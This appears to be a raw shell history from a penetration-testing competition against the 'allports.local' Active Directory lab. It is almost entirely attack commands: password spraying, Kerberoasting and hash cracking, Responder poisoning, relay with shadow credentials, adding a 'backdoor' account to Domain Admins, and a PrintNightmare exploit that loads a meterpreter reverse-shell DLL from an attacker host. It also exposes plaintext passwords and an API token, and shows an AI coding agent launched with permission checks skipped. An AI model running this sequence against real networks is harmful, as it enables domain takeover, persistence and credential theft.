dig @10.0.1.6 allports.local AXFR
ldapsearch -x -H ldap://10.0.1.6 -b "CN=Partitions,CN=Configuration,DC=allports,DC=local" "(objectClass=crossRef)" | grep -E "(dn:|nCName:|dnsRoot:)" | head -20


_raw: : 1768076040:0;ntlmrelayx.py -t ldap://10.0.1.6 --shadow-credentials --shadow-target 'DECKHAND-01$'


_raw: : 1768075975:0;mv golang-pro.md ~/.claude/agents


_raw: : 1768075962:0;find / -name ".bash_history" 2>/dev/null


_raw: : 1768075945:0;hashcat -m 5500 dc_ntlmv1.txt -a 0 /usr/share/wordlists/rockyou.txt -r OneRuleToRuleThemStill/OneRuleToRuleThemStill.rule


_raw: : 1768075915:0;hashcat -m 5500 dc_ntlmv1.txt -a 0 /usr/share/wordlists/rockyou.txt


_raw: : 1768075822:0;curl -X GET "http://10.0.1.13:8080/api/navigation.php?action=status" -k


_raw: : 1768075799:0;python3 printerbug.py 'allports.local/svc_stabilize:1gyroscope'@10.0.1.6 10.0.254.202


_raw: : 1768075772:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add groupMember 'Remote Management Users' 'backdoor'


_raw: : 1768075762:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add groupMember 'Domain Admins' 'backdoor'


_raw: : 1768075748:0;feroxbuster -u https://admin.rooms.allports.tours/api/admin --insecure -C 429


_raw: : 1768075741:0;curl -X GET "https://10.0.1.13:8080/api/navigation.php?action=status" -k


_raw: : 1768075739:0;feroxbuster -u https://admin.rooms.allports.tours/api/announcements --insecure -C 429


_raw: : 1768075730:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768075729:0;curl -X GET https://10.0.1.13:8080/api/navigation.php?action=status


_raw: : 1768075728:0;feroxbuster -u https://admin.rooms.allports.tours/api/announcmenets --insecure -C 429


_raw: : 1768075719:0;feroxbuster -u https://admin.rooms.allports.tours/api --insecure -C 429


_raw: : 1768075717:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add user 'backdoor' 'Backdoor123!' --user-ou 'OU=Refreshments,OU=Departments,DC=allports,DC=local'


_raw: : 1768075708:0;python3 printerbug.py 'allports.local/svc_stabilize:1gyroscope'@10.0.1.20 10.0.254.202


_raw: : 1768075683:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add dnsRecord 'isatap' '10.0.254.202'


_raw: : 1768075657:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add dnsRecord 'wpad' '10.0.254.202'


_raw: : 1768075652:0;python3 /usr/share/doc/python3-impacket/examples/printerbug.py 'allports.local/svc_stabilize:1gyroscope'@10.0.1.20 10.0.254.202\


_raw: : 1768075632:0;sudo responder -I eth0 -wv


_raw: : 1768075619:0;feroxbuster -u https://admin.rooms.allports.tours --insecure -C 429


_raw: : 1768075615:0;feroxbuster -u https://admin.rooms.allports.tours --insecure


_raw: : 1768075610:0;sudo responder -I eth0 -v\


_raw: : 1768075610:0;feroxbuster -u https://admin.rooms.allports.tours


_raw: : 1768075603:2;feroxbuster -u http://admin.rooms.allports.tours


_raw: : 1768075593:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add dnsRecord 'wpad' '10.0.254.202'


_raw:
: 1768075593:0;curl -X 'GET' \\
  'http://gps.allports.tours:8090/health' \\
  -H 'accept: application/json'


_raw: : 1768075565:0;impacket-GetUserSPNs allports.local/svc_stabilize:'1gyroscope' -dc-ip 10.0.1.6 -request-user kmiller


_raw: : 1768075556:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768075541:0;python3 password_spray.py -u nautical_passwords.txt -p pass.txt -t https://a.rooms.allports.tours/admin.html


_raw: : 1768075540:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object 'OU=Refreshments,OU=Departments,DC=allports,DC=local' gPLink -v '[LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=allports,DC=local;0]'


_raw: : 1768075506:0;python3 password_spray.py -u nautical_passwords.txt -p pass.txt -t https://10.0.1.99/admin.html


_raw: : 1768075488:0;curl -s https://chat.allports.tours/logout


_raw: : 1768075483:0;curl  \xB3k -s https://chat.allports.tours/logout


_raw: : 1768075482:0;smbclient //10.0.1.6/SYSVOL -U 'allports.local/SVC_STABILIZE%1gyroscope'


_raw: : 1768075454:0;curl  \xB3k -h https://chat.allports.tours/logout


_raw: : 1768075449:0;curl  \xB3k https://chat.allports.tours/logout


_raw: : 1768075425:0;strings /home/pentester/.penelope/sessions/d095689a1751~10.0.1.10-Linux-x86_64/downloads/app/bin1 | grep guest


_raw: : 1768075422:0;cat /home/pentester/.penelope/sessions/d095689a1751~10.0.1.10-Linux-x86_64/downloads/app/bin1 | grep  guest


_raw: : 1768075418:0;cat /home/pentester/.penelope/sessions/d095689a1751~10.0.1.10-Linux-x86_64/downloads/app/bin1 | grep


_raw:
: 1768075407:0;nxc ldap APT-DC-01.allports.local -u svc_stabilize -p '1gyroscope' -d allports.local --query       \
  "(samaccountname=svc_stabilize)" --attr memberof


_raw: : 1768075407:0;strings /home/pentester/.penelope/sessions/d095689a1751~10.0.1.10-Linux-x86_64/downloads/app/bin1 | grep guest


_raw: : 1768075403:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "OU=Refreshments,OU=Departments,DC=allports,DC=local" -s base gPLink


_raw: : 1768075393:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" sAMAccountName msDS-ManagedPassword


_raw: : 1768075390:0;strings /home/pentester/.penelope/sessions/d095689a1751~10.0.1.10-Linux-x86_64/downloads/app/bin1 | grep captain


_raw: : 1768075386:0;strings /home/pentester/.penelope/sessions/d095689a1751~10.0.1.10-Linux-x86_64/downloads/app/bin1 | grep 9000


_raw: : 1768075381:0;strings /home/pentester/.penelope/sessions/d095689a1751~10.0.1.10-Linux-x86_64/downloads/app/bin1 | grep 6768


_raw: : 1768075376:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 add dnsRecord 'wpad' '10.0.254.202' -type A


_raw:
: 1768075336:0;for i in {1..10}; do\
    impacket-addcomputer allports.local/SVC_STABILIZE:1gyroscope -dc-ip 10.0.1.6 -computer-name "PRIV${i}\$" -computer-pass "Priv${i}Pass123\
done


_raw: : 1768075335:0;python3 bhqc.py -u ne04j -p Qwertyuiop1 -d allports.local --heavy


_raw: : 1768075317:0;python3 bhqc.py -u ne04j -p Qwertyuiop1 -d allports.local


_raw: : 1768075313:0;python3 bhqc.py -u ne04j -p Qwertyuiop1 -d allports.local -verbose


_raw: : 1768075309:0;echo "10.0.1.21 DECKHAND-02.allports.local"| sudo tee -a /etc/hosts


_raw: : 1768075309:0;echo "10.0.1.20 DECKHAND-01.allports.local"| sudo tee -a /etc/hosts


_raw: : 1768075309:0;echo "10.0.1.6 APT-DC-01.allports.local"| sudo tee -a /etc/hosts


_raw: : 1768075309:0;msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17-010; set RHOSTS 10.0.1.6; start; exit"


_raw: : 1768075309:0;msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17-010; set RHOSTS 10.0.1.6; run; exit"


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u users-kerb -p '' --shares --continue-on-success


_raw: : 1768075309:0;git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git


_raw: : 1768075309:0;sudo python3 CVE-2021-1675.py allports.local/svc_stabilize:1gyroscope@10.0.1.6 '\\10.0.254.201\CompData\shell_maybe.dll'


_raw: : 1768075309:0;smbserver.py -smb2support CompData shell_maybe.dll


_raw: : 1768075309:0;sudo smbserver.py -smb2support CompData shell_maybe.dll


_raw: : 1768075309:0;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=4444 -f dll > shell_maybe.dll


_raw: : 1768075309:0;git clone https://github.com/cube0x0/CVE-2021-1675.git


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u stuff/users  -p ')u1h55hm-h(M(7nV' --continue-on-success


_raw: : 1768075309:0;nxc smb 10.0.1.20 -u stuff/users  -p ')u1h55hm-h(M(7nV' --continue-on-success


_raw: : 1768075309:0;cat ~/.zsh_history_readable | grep -a pentester


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u users  -p 'letmein' --continue-on-success


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M spider_plus --share NETLOGON


_raw: : 1768075309:0;smbclient //10.0.1.6/SYSVOL -U svc_stabilize


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M spider_plus --share SYSVOL


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --loggedon-users


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u users  -p users --no-bruteforce


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --pass-pol


_raw: : 1768075309:0;nxc smb 10.0.1.21 -u 'administrator' -p 'Sails@way!' --local-auth


_raw: : 1768075309:0;nxc smb 10.0.1.20 -u 'administrator' -p 'Sails@way!' --local-auth


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u 'administrator' -p 'Sails@way!' --local-auth


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M nopac


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u users  -p '1gyroscope' --continue-on-success


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u users  -p 'Sails@way!' --continue-on-success


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users > users


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --Users


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --shares


_raw: : 1768075309:0;john --wordlist=/usr/share/wordlists/rockyou.txt hash_svc_stabilize


_raw: : 1768075309:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/pentester -request


_raw:
: 1768075309:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key1-4bff7271-16e5-4df5-8934-6232957a38b2"' >> ~/.zshrc\
source ~/.zshrc


_raw: : 1768075309:0;sudo responder -I eth0 -A


_raw: : 1768075309:0;impacket-lookupsid 'allports.local/guest:'@10.0.1.20 -no-pass


_raw: : 1768075309:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile users-kerb -format hashcat -outputfile hashes.txt


_raw: : 1768075309:0;nxc smb 10.0.1.6 -u users-kerb -p users-kerb --no-bruteforce --continue-on-success


_raw: : 1768075309:0;kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt -o users-kerb


_raw: : 1768075309:0;kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt --help


_raw: : 1768075309:0;kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt


_raw: : 1768075309:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*"


_raw: : 1768075309:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength


_raw: : 1768075309:0;ldapsearch -H 10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength


_raw: : 1768075309:0;ldapsearch -h 10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength


_raw: : 1768075309:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768075309:0;echo "10.0.1.6 allports.local" | sudo tee -a /etc/hosts


_raw: : 1768075309:0;pipx install git+https://github.com/Pennyw0rth/NetExec\


_raw:
claude
claude --version
nmap -sC - sV -p- 10.0.1.10
nmap -sC -sV -p- 10.0.1.10
echo "10.0.1.6 APT-DC-01.allports.local"| sudo tee -a /etc/hosts
enum4linux -a 10.0.1.20
echo "10.0.1.20 DECKHAND-01.allports.local"| sudo tee -a /etc/hosts
echo "10.0.1.21 DECKHAND-02.allports.local"| sudo tee -a /etc/hosts
enum4linux -a 10.0.1.20
enum4linux -a 10.0.1.21
rpcclient -U "" -N 10.0.1.6
enum4linux-ng
enum4linux-ng -P 10.0.1.6
enum4linux-ng -P 10.0.1.20
enum4linux-ng -P 10.0.1.21
rpcclient -U "" -N 10.0.1.20
rpcclient -U "" -N 10.0.1.21
rpcclient -U "" -N 10.0.1.6
smbclient //10.0.1.20/IPC$ -N
smbclient //10.0.1.20/IPC$ -U guest
clear
nc 10.0.1.10
nc 10.0.1.10 6768
cyberchef
claude


_raw:
claude
nc 10.0.1.10 6768
status||id\
nc 10.0.1.10 6768
ifconfig
ls
subl hvac.py
nc -lnvp 4444
enum4linux-ng -a 10.0.1.6
enum4linux-ng -A 10.0.1.6
cd ../Princess-Sumaya-University-for-Technology
ls
ls -R
cd Useful\ Tools
cd linWinPwn
ls
sudo ./install.sh
chmod +x install.sh
sudo ./install.sh
linWinPwn --help
rlwrap
./linWinPwn.sh --help
chmod +x linWinPwn.sh
./linWinPwn.sh --help
./linWinPwn.sh -t 10.0.1.6 --auto
netexec
nxc
./linWinPwn.sh -t 10.0.1.6 --auto
msfconsole
msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17-010; set RHOSTS 10.0.1.6; run; exit"
msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17-010; set RHOSTS 10.0.1.6; start; exit"
msfconsole
cd ../Desktop
cd ../..
cd ../Desktop
subl lol


_raw:
cd ..
cd P
cd Princess-Sumaya-University-for-Technology
cat ad.sh| grep -i net
pipx install git+https://github.com/Pennyw0rth/NetExec\
netexec
clear
nxc
clear
cd ../Desktop
echo "10.0.1.6 allports.local" | sudo tee -a /etc/hosts
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u 'guest' -p '' --shares
nxc smb 10.0.1.6 -u 'guest' -p '' --shares -k
nxc smb 10.0.1.6 -u 'administrator' -p '' --shares -k
nxc smb 10.0.1.6 -u 'administrator' -p '' --shares
nxc smb 10.0.1.6 -u 'guest' -p '' --shares --local-auth
nxc smb 10.0.1.6 -u '' -p '' -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -M ms17-010
curl -fsSL https://claude.ai/install.sh | bash
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus
nxc ldap 10.0.1.6 -u '' -p ''
ldapsearch -h 10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength
ldapsearch -H 10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*"
kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt
kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt --help
kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt -o users-kerb
open users-kerb
subl users-kerb
nxc smb 10.0.1.6 -u users-kerb -p users-kerb --no-bruteforce --continue-on-success
impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile users-kerb -format hashcat -outputfile hashes.txt
sudo -E wireshark
nxc smb 10.0.1.20 -u '' -p '' --shares
nxc smb 10.0.1.20 -u 'guest' -p '' --shares
nxc smb 10.0.1.20 -u 'guest' -p '' --shares --pass-pol
impacket-lookupsid 'allports.local/guest:'@10.0.1.20 -no-pass
nxc smb 10.0.1.20 -u '' -p '' -M coerce_plus
nxc smb 10.0.1.20 -u '' -p '' -M ms17-010
nmap -sc -sV -p- \10.0.1.20
nmap -sc -sV -p- 10.0.1.20
nmap -sC -sV -p- 10.0.1.20
nxc smb 10.0.1.21 -u 'guest' -p '' --shares
nxc smb 10.0.1.21 -u '' -p '' --shares
nxc smb 10.0.1.21 -u 'administrator' -p '' --local-auth
nxc smb 10.0.1.21 -u '' -p '' -M ms17-010
nxc smb 10.0.1.21 -u '' -p '' -M coerce_plus
nmap -sC -sV -p- 10.0.1.21
nxc smb 10.0.1.21 -u '' -p '' -M smbghost
nxc smb 10.0.1.21 -u '' -p '' -M printnightmare
nxc smb 10.0.1.20 -u '' -p '' -M smbghost
nxc smb 10.0.1.6 -u '' -p '' -M smbghost
sudo responder -I eth0 -A
sudo responder -I eth0 -
sudo responder -I eth0
nxc smb 10.0.1.20 -u 'guest' -p '' --shares
nxc smb 10.0.1.20 -u 'guest' -p '' --users
nxc smb 10.0.1.20 -u 'guest' -p '' -M spider_plus --share IPC$
cat /home/pentester/.nxc/modules/nxc_spider_plus/10.0.1.20.json
claude
tail users-kerb
ls
python3 hvac.py
nc 10.0.1.10 6768
sudo responder -I eth0
cd
cd Desktop
ifconfig
sudo responder -I eth0
nxc smb 10.0.1.6 -u '' -p '' --shares
sudo apt install nxc
pipx install nxc
nxc
enum4linux -a 10.0.1.6
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key1-4bff7271-16e5-4df5-8934-6232957a38b2"' >> ~/.zshrc\
source ~/.zshrc
claude
clear
enum4linux -a 10.0.1.6
clear
enum4linux-ng -A 10.0.1.20
enum4linux-ng -A 10.0.1.21
nxc smb 10.0.1.6 -u 'guest' -p '' --shares -k
nxc smb 10.0.1.6 -u 'guest' -p '' --shares --local-auth
nxc smb 10.0.1.6 -u 'guest' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --shares -k
nxc smb 10.0.1.6 -u '' -p '' --shares --local-auth
pipx ensurepath
nc 10.0.1.10 6768
linWinPwn
nxc smb 10.0.1.20 -u '' -p '' --shares --local-auth
nxc smb 10.0.1.20 -u '' -p '' --shares
nxc smb 10.0.1.21 -u '' -p '' --shares
nxc smb 10.0.1.21 -u '' -p '' --shares --local-auth
nxc smb 10.0.1.20 -u 'guest' -p '' --shares --local-auth
nxc smb 10.0.1.20 -u 'guest' -p '' --shares
ifconfig
nmap -sVC -p- 10.0.1.1
nmap -sVC -p- 10.0.1.10
nc 10.0.1.10 900
nc 10.0.1.10 9000
nxc smb 10.0.1.6 -u 'guest' -p '' --shares
claude
mkdir lol
cd lol
open .
subl spray_safe.sh
cd ..
ls
mkdir more_passwords
cd more_passwords
claude
./lol
GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/pentester -request
subl hash_svc_stabilize
john --wordlists=/usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash_svc_stabilize
finddelegation.py
findDelegation.py
findDelegation.py allports.local/svc_stabilize:1gyroscope
cd ../Downloads
unzip BloodHound-linux-x64.zip
ls
cd BloodHound-linux-x64/
ls
./BloodHound --no-sandbox
neo4j
sudo neo4j start
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --shares
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --Users
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users
cd
cd Desktop/lol
cd Desktop/
mkdir stuff
cd stuff
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users > users
subl users
nxc smb 10.0.1.6 -u users  -p 'Sails@way!' --continue-on-success
nxc smb 10.0.1.6 -u users  -p '1gyroscope' --continue-on-success
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M nopac
nxc smb 10.0.1.6 -u 'administrator' -p 'Sails@way!' --local-auth
nxc smb 10.0.1.20 -u 'administrator' -p 'Sails@way!' --local-auth
nxc smb 10.0.1.21 -u 'administrator' -p 'Sails@way!' --local-auth
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --pass-pol
./BloodHound --no-sandbox
ls
wc users
subl users
nxc smb 10.0.1.6 -u users  -p users --no-bruteforce
cat users| grep -i svc
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' --loggedon-users
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M spider_plus --share SYSVOL
cat /home/pentester/.nxc/modules/nxc_spider_plus/10.0.1.6.json
smbclient //10.0.1.6/SYSVOL -U svc_stabilize
cd ../stuff
ls
cat GPO.cmt
cat GptTmpl.inf
cat GP
cat GptTmpl.inf
nxc smb 10.0.1.6 -u svc_stabilize -p '1gyroscope' -M spider_plus --share NETLOGON
cat /home/pentester/.nxc/modules/nxc_spider_plus/10.0.1.6.json
ls
nxc smb 10.0.1.6 -u users  -p 'letmein' --continue-on-success
subl users
cat ~/.zsh_history_readable | grep -a pentester
nxc smb 10.0.1.20 -u stuff/users  -p ')u1h55hm-h(M(7nV' --continue-on-success
nxc smb 10.0.1.6 -u stuff/users  -p ')u1h55hm-h(M(7nV' --continue-on-success
cd stuff
git clone https://github.com/cube0x0/CVE-2021-1675.git
cd CVE-2021-1675
ifconfig
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=4444 -f dll > shell_maybe.dll
ls
ls
ls -la
file shell_maybe.dll
sudo smbserver.py -smb2support CompData shell_maybe.dll
smbserver.py
smbserver.py -smb2support CompData shell_maybe.dll
rpcdump.py @10.0.1.6 | egrep 'MS-RPRN|MS-PAR'
smbserver.py -smb2support CompData shell_maybe.dll
cd stuff/CVE-2021-1675
lks
ls
sudo python3 CVE-2021-1675.py allports.local/svc_stabilize:1gyroscope@10.0.1.6 '\\10.0.254.201\CompData\shell_maybe.dll'
smbserver.py -smb2support CompData shell_maybe.dll
sudo python3 CVE-2021-1675.py allports.local/svc_stabilize:1gyroscope@10.0.1.6 '\\10.0.254.201\CompData\shell_maybe.dll'
git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git
cd Princess-Sumaya-University-for-Technology/
sudo ./start.sh
ls
chmod +x start.sh
./start.sh
echo 'preexec() { printf "%s %s\n" "$(date "+%Y-%m-%d %H:%M:%S")" "$1" >> ~/.zsh_history_readable }' >> ~/.zshrc
source ~/.zshrc
ls -la
ls -la ~
./all.sh
chmod +x all.sh
./all.sh
./ad.sh
chmod +x ad.sh
./ad.sh
cd ~/Desktop
nxc smb 10.0.1.6 -u users-kerb -p '' --shares --continue-on-success


_raw: : 1768075292:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" -s base ms-DS-MachineAccountQuota


_raw: : 1768075283:0;bloodyAD -d allports.local -u SVC_STABILIZE -p '1gyroscope' --host 10.0.1.6 set object 'EVILCOMP$' userAccountControl -v 4096


_raw: : 1768075259:0;python3 bhqc.py -u ne04j -p qwertyuiop1 -d allports.local -verbose


_raw: : 1768075224:0;sudo python3 CVE-2021-1675.py allports.local/svc_stabilize:1gyroscope@10.0.1.6 '\\10.0.254.201\CompData\shell_maybe.dll'


_raw: : 1768075220:0;smbserver.py -smb2support CompData shell_maybe.dll


_raw: : 1768075193:0;gobuster dir --url http://10.0.1.13:8080/?route= --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php --delay 50ms -o url_gobust_results2.txt -nc


_raw: : 1768075186:0;python3 bhqc.py -u ne04j -p qwertyuiop1 -d allports.local


_raw: : 1768075173:0;python3 bhqc.py -u ne04j -p qwertyuiop1 -v


_raw: : 1768075166:0;python3 bhqc.py -u ne04j -p qwertyuiop1


_raw:
: 1768075147:0;pip3 install py2neo\
pip3 install pandas\
pip3 install prettytable


_raw: : 1768075121:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName pwdLastSet | grep -A1 "Administrator"


_raw:
: 1768075117:0;pip3 install py2neo\
pip3 install pandas\
pip3 install prettytable


_raw: : 1768075117:0;sudo python3 CVE-2021-1675.py allports.local/svc_stabilize:1gyroscope@10.0.1.6 '\\10.0.254.201\CompData\shell_maybe.dll'


_raw: : 1768075116:0;crackmapexec ssh 10.0.1.0/24 -u 'lpeterson' -p 'Sails@way!'


_raw: : 1768075111:0;crackmapexec ssh 10.0.1.0/24 -u 'lpeterson' -p 'Sails@way!' -k --sam


_raw: : 1768075107:0;python3 bhqc.py -u ne04j -p qwertyuiop1


_raw: : 1768075105:0;curl https://admin.rooms.allports.tours/passwd -k


_raw: : 1768075046:0;git clone https://github.com/kaluche/bloodhound-quickwin


_raw: : 1768075044:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=Administrator)" userAccountControl pwdLastSet memberOf distinguishedName -LLL


_raw: : 1768075014:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users


_raw: : 1768075011:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --usrs


_raw: : 1768075002:0;smbserver.py -smb2support CompData shell_maybe.dll


_raw: : 1768074994:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(sAMAccountName=Administrator)" userAccountControl pwdLastSet memberOf distinguishedName


_raw: : 1768074979:0;curl https://admin.rooms.allports.tours/passwd -k


_raw: : 1768074965:0;sudo responder -I eth0 -A -v\


_raw: : 1768074960:0;curl https://bb-a101.rooms.allports.tours/passwd -k


_raw: : 1768074935:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768074930:0;nxc smb 10.0.1.6 -u output.txt -p output.txt --no-bruteforce


_raw: : 1768074929:0;claude --system-prompt "$(cat master.txt)" --dangerously-skip-permissions


_raw: : 1768074929:0;sudo responder -I eth0 -w -d -P -F -b -v --lm --disable-ess


_raw: : 1768074924:0;sudo responder -I eth0 -w -d -f -P -F -b -v --lm --disable-ess


_raw: : 1768074918:0;smbserver.py -smb2support CompData shell_maybe.dll


_raw: : 1768074918:0;sudo responder -I eth0 -w -r -d -f -P -F -b -v --lm --disable-ess


_raw:
: 1768074917:0;curl -X POST -H "Content-Type: application/json" \\
     -H "Authorization: Bearer <your_valid_token>" \\
     -d '{"id": 1, "name": "John Doe"}' \\
     penny.allports.tours


_raw: : 1768074893:0;sudo smbserver.py -smb2support CompData shell_maybe.dll


_raw: : 1768074883:0;sudo responder -I eth0 -w -r -d -f -P -F -b -v --lm --disable-ess


_raw: : 1768074876:0;mv ~/Downloads/linpeas.sh .


_raw: : 1768074836:0;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.254.201 LPORT=4444 -f dll > shell_maybe.dll


_raw:
: 1768074791:0;curl 'https://admin.rooms.allports.tours/api/diagnostics/files/list?path=%2F' \\
  -H 'accept: */*' \\
  -H 'referer: https://admin.rooms.allports.tours/diagnostics.html' \\
  --insecure


_raw:
: 1768074771:0;curl 'https://admin.rooms.allports.tours/api/diagnostics/files/list?path=%2F' \\
  -H 'accept: */*' \\
  -H 'accept-language: en-US,en;q=0.9' \\
  -H 'priority: u=1, i' \\
  -H 'referer: https://admin.rooms.allports.tours/diagnostics.html' \\
  -H 'sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"' \\
  -H 'sec-ch-ua-mobile: ?0' \\
  -H 'sec-ch-ua-platform: "Windows"' \\
  -H 'sec-fetch-dest: empty' \\
  -H 'sec-fetch-mode: cors' \\
  -H 'sec-fetch-site: same-origin' \\
  -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' \\
  --insecure


_raw:
: 1768074760:0;curl 'https://admin.rooms.allports.tours/api/diagnostics/files/list?path=%2F' \\
  -H 'accept: */*' \\
  -H 'accept-language: en-US,en;q=0.9' \\
  -H 'authorization: Basic Y2FwdGFpbjpJYW1UaGVDYXB0YWlu' \\
  -H 'priority: u=1, i' \\
  -H 'referer: https://admin.rooms.allports.tours/diagnostics.html' \\
  -H 'sec-ch-ua: "Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"' \\
  -H 'sec-ch-ua-mobile: ?0' \\
  -H 'sec-ch-ua-platform: "Windows"' \\
  -H 'sec-fetch-dest: empty' \\
  -H 'sec-fetch-mode: cors' \\
  -H 'sec-fetch-site: same-origin' \\
  -H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36' \\
  --insecure


_raw:
: 1768074745:0;curl 'https://admin.rooms.allports.tours/api/diagnostics/http' \\
  -H 'accept: */*' \\
  -H 'accept-language: en-US,en;q=0.9' \\
  -H 'authorization: Basic Y2FwdGFpbjpJYW1UaGVDYXB0YWlu' \\
  -H 'content-type: application/json' \\
  -H 'origin: https://admin.rooms.allports.tours' \\
  -H 'priority: u=1, i' \\
